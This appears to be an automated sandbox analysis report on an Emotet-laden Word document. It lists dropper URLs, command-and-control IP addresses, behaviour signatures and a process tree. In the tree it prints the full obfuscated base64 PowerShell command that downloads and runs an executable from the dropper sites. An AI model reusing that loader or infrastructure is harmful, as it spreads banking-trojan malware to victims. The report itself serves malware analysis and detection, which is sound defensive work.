Overview

overview

10

Static

static

8

Doc 2020_08_19.doc

windows7_x64

10

Doc 2020_08_19.doc

windows10_x64

1

Analysis

  • max time kernel
    98s
  • max time network
    88s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    18/08/2020, 21:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Doc 2020_08_19.doc
  • Size 175KB
  • Sample200818-e9t4ytqvpe
  • SHA256 e117f0764676376ab70927fbe88c42c123142a0efb17a6ccb243cb7ecda8baef
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://samaritantec.com/wp-includes/3JL/
  • exe.dropper

    http://kurukshetramvedicsociety.com/css/i/
  • exe.dropper

    http://familiachickenargentina.com/cgi-bin/waj/
  • exe.dropper

    http://swapnadevelopers.com/temp/ZnO/
  • exe.dropper

    https://shkglobalhealth.org/termo/F/
  • exe.dropper

    http://todaymailbox.com/cgi-bin/V/
  • exe.dropper

    http://www.olgamarchenkova.com/wp-content/r/

Extracted

Family

  • emotet

C2

  • 82.163.245.38:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 186.70.127.199:8090

  • 190.128.173.10:80

  • 190.195.129.227:8090

  • 91.219.169.180:80

  • 45.173.88.33:80

  • 185.33.0.233:80

  • 188.2.217.94:80

  • 207.144.103.227:80

  • 45.161.242.102:80

  • 219.92.13.25:80

  • 190.163.31.26:80

  • 68.183.170.114:8080

  • 191.99.160.58:80

  • 73.213.208.163:80

  • 94.176.234.118:443

  • 104.131.41.185:8080

  • 45.33.77.42:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Doc 2020_08_19.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1432
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABNAHEAeABlADAAXwBwAD0AKAAnAEYAJwArACcAYwA3ACcAKwAnADAANQBoAGEAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQARQBuAHYAOgBUAGUAbQBQAFwAbwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQBgAFIAaQB0AGAAWQBQAHIAbwBUAG8AQwBPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAIAB0AGwAcwAxADEAJwArACcALAAgACcAKwAnAHQAbABzACcAKQA7ACQAUwB1AHkAbwBvAHgAcwAgAD0AIAAoACcAWgAwADEAawBfADUANwAnACsAJwA4AG4AJwApADsAJABNAGIAcgBjAHoAeABfAD0AKAAnAFMAdgAnACsAJwBjAGMAYgAnACsAJwA5ADkAJwApADsAJABYAG0AcABkADMAcQBrAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBxACcAKwAnAHIAVQBPAGYAZgAnACsAJwBpAGMAJwArACcAZQAyADAAMQA5AHEAJwArACcAcgBVACcAKQAuACIAcgBlAFAAYABMAGAAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAxADMAKwBbAEMASABhAFIAXQAxADEANAArAFsAQwBIAGEAUgBdADgANQApACwAWwBTAFQAUgBJAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFMAdQB5AG8AbwB4AHMAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFcAegB2AG0ANABzAHUAPQAoACcASwBxADkAaABlAHkAJwArACcAdQAnACkAOwAkAE8AZwAwAHgAeABvADgAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAYwBMAGkARQBOAFQAOwAkAEkAeQBhAGcAdgBmAHIAPQAoACcAaAAnACsAJwB0AHQAcABzADoALwAvAHMAYQBtACcAKwAnAGEAcgBpACcAKwAnAHQAYQAnACsAJwBuAHQAZQAnACsAJwBjAC4AJwArACcAYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBpAG4AYwBsAHUAZABlAHMALwAzAEoAJwArACcATAAvACcAKwAnACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwAnACsAJwBrAHUAcgB1AGsAcwBoAGUAdAByACcAKwAnAGEAJwArACcAbQB2AGUAZABpACcAKwAnAGMAcwAnACsAJwBvAGMAaQBlAHQAeQAuAGMAbwAnACsAJwBtACcAKwAnAC8AYwBzAHMAJwArACcALwBpAC8AJwArACcAKgBoAHQAdABwADoALwAvAGYAYQBtAGkAbABpACcAKwAnAGEAYwAnACsAJwBoAGkAYwAnACsAJwBrAGUAJwArACcAbgBhAHIAZwBlAG4AJwArACcAdAAnACsAJwBpAG4AYQAuAGMAbwBtAC8AYwBnAGkALQBiACcAKwAnAGkAbgAvAHcAJwArACcAYQBqACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHMAdwBhAHAAJwArACcAbgAnACsAJwBhAGQAZQB2ACcAKwAnAGUAbABvAHAAZQByACcAKwAnAHMALgBjAG8AJwArACcAbQAnACsAJwAvAHQAZQBtAHAALwBaAG4ATwAvACoAJwArACcAaAB0AHQAcABzADoALwAnACsAJwAvAHMAaABrAGcAbABvACcAKwAnAGIAYQAnACsAJwBsACcAKwAnAGgAZQBhACcAKwAnAGwAJwArACcAdABoAC4AbwAnACsAJwByAGcALwAnACsAJwB0AGUAcgBtAG8AJwArACcALwBGAC8AKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAnAHQAbwAnACsAJwBkAGEAJwArACcAeQAnACsAJwBtACcAKwAnAGEAaQBsACcAKwAnAGIAbwB4AC4AYwBvAG0ALwBjAGcAaQAtACcAKwAnAGIAaQBuACcAKwAnAC8AVgAnACsAJwAvACcAKwAnACoAaAB0AHQAcAA6ACcAKwAnAC8ALwB3AHcAdwAnACsAJwAuAG8AJwArACcAbAAnACsAJwBnAGEAbQBhAHIAJwArACcAYwBoAGUAJwArACcAbgBrAG8AdgBhAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AJwArACcAcgAnACsAJwAvACcAKQAuACIAUwBQAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAHUAcwBvAGgAZgBvAD0AKAAnAFoANABzAHAANAAnACsAJwA5ACcAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASAByAGUAZwBhAHoAZwAgAGkAbgAgACQASQB5AGEAZwB2AGYAcgApAHsAdAByAHkAewAkAE8AZwAwAHgAeABvADgALgAiAGQAYABvAHcAbgBMAE8AYQBgAGQAZgBgAEkATABlACIAKAAkAEgAcgBlAGcAYQB6AGcALAAgACQAWABtAHAAZAAzAHEAawApADsAJABKAGoAOQBnAGwAYgB3AD0AKAAnAE0AegB5ACcAKwAnAGkAegAnACsAJwAzADgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFgAbQBwAGQAMwBxAGsAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAyADAAMwA5ADYAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQAWABtAHAAZAAzAHEAawApADsAJABKAGwAcwBxAHUAcwAxAD0AKAAnAEkAbgBfAF8AZQBhACcAKwAnAHEAJwApADsAYgByAGUAYQBrADsAJABFADYANgAyAG4AcAAxAD0AKAAnAE4ANwB0ACcAKwAnAHIAZgAnACsAJwB1AGgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAG8AcQB4AHAAbQA0AD0AKAAnAEYANwAwAHoAeAAnACsAJwBfAG4AJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1252
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Z01k_578n.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Z01k_578n.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:652
      • C:\Windows\SysWOW64\NlsData0010\pots.exe
        "C:\Windows\SysWOW64\NlsData0010\pots.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1524

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/652-18-0x0000000000360000-0x000000000036C000-memory.dmp
        Download

        memory/1252-9-0x000007FEE9970000-0x000007FEEA35C000-memory.dmp
        Download

        memory/1252-10-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1252-11-0x000000001ADB0000-0x000000001ADB1000-memory.dmp
        Download

        memory/1252-12-0x00000000024D0000-0x00000000024D1000-memory.dmp
        Download

        memory/1252-13-0x0000000002430000-0x0000000002431000-memory.dmp
        Download

        memory/1252-14-0x000000001AC60000-0x000000001AC61000-memory.dmp
        Download

        memory/1252-15-0x000000001C1C0000-0x000000001C1C1000-memory.dmp
        Download

        memory/1432-0-0x0000000005BD0000-0x0000000005CD0000-memory.dmp
        Download

        memory/1432-6-0x000000000C0D0000-0x000000000C0D4000-memory.dmp
        Download

        memory/1432-5-0x000000000B050000-0x000000000B054000-memory.dmp
        Download

        memory/1432-4-0x0000000007040000-0x0000000007240000-memory.dmp
        Download

        memory/1432-2-0x0000000008AE0000-0x0000000008AE4000-memory.dmp
        Download

        memory/1524-22-0x00000000003E0000-0x00000000003EC000-memory.dmp
        Download

        memory/1916-23-0x000007FEE9BC0000-0x000007FEE9E3A000-memory.dmp
        Download